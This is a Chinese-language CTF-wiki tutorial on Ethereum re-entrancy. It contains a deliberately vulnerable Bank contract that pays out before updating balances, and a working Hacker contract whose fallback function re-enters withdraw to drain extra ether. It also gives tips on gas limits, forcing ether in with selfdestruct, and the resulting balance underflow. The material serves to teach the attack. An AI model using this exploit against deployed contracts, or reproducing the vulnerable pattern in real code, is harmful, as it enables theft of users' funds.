Re-Entrancy

原理

原理如下图所示：

Example

假设有一个银行合约实现了以下取款功能，在 balanceOf[msg.sender] 充足时，合约会转账相应数量的以太币给调用者，并且将 balanceOf 减去相应值：

contract Bank {
    mapping(address => uint256) public balanceOf;
    ...
    function withdraw(uint256 amount) public {
        require(balanceOf[msg.sender] >= amount);
        msg.sender.call.value(amount)();//这里会调用调用合约的fallback函数造成无限递归
        balanceOf[msg.sender] -= amount;
    }
}

这个实现的问题在于，“先给钱后记账”。在以太坊中，合约的调用者可以是另一个智能合约，转账时收款合约的 fallback 函数会被调用。若 fallback 函数内再一次调用了对方的 withdraw 函数，由于此时 balanceOf 尚未减少，require 的条件仍然满足，导致可以再次取款。需要注意的是，fallback 函数需要限制重入的次数，否则会因为无限地循环调用，导致 gas 不足。假设攻击合约的存款有 1 ether，可以如下实现取出 2 ether：

contract Hacker {
    bool status = false;
    Bank b;

    constructor(address addr) public {
        b = Bank(addr);
    }

    function hack() public {
        b.withdraw(1 ether);
    }

    function() public payable {
        if (!status) {
            status = true;
            b.withdraw(1 ether);
        }
    }
}

此外有几个注意点：

• 目标合约使用 call 发送以太币时，默认提供所有剩余 gas；call 操作改为对提款者合约的调用亦可实现攻击；但如果使用 transfer 或者 send 来发送以太币，只有 2300 gas 供攻击合约使用，是不足以完成重入攻击的。
• 执行重入攻击前，需要确认目标合约有足够的以太币来向我们多次转账。如果目标合约没有 payable 的 fallback 函数，则需要新建一个合约，通过 selfdestruct 自毁强制转账。
• 上述 fallback 实现中，先改写 status 后重入。如果反过来则还是会无限循环调用，这和重入漏洞的道理是一致的。

重入漏洞与整数下溢出漏洞关联密切。在上述攻击后，攻击合约的存款由 1 ether 变为 -1 ether。但注意到存款由 uint256 保存，负数实际上保存为一个极大的正数，后续攻击合约可以继续使用这个大数额的存款。

例题

• ethernaut Re-entrancy

参考资料

https://ctf-wiki.org/blockchain/ethereum/attacks/re-entrancy/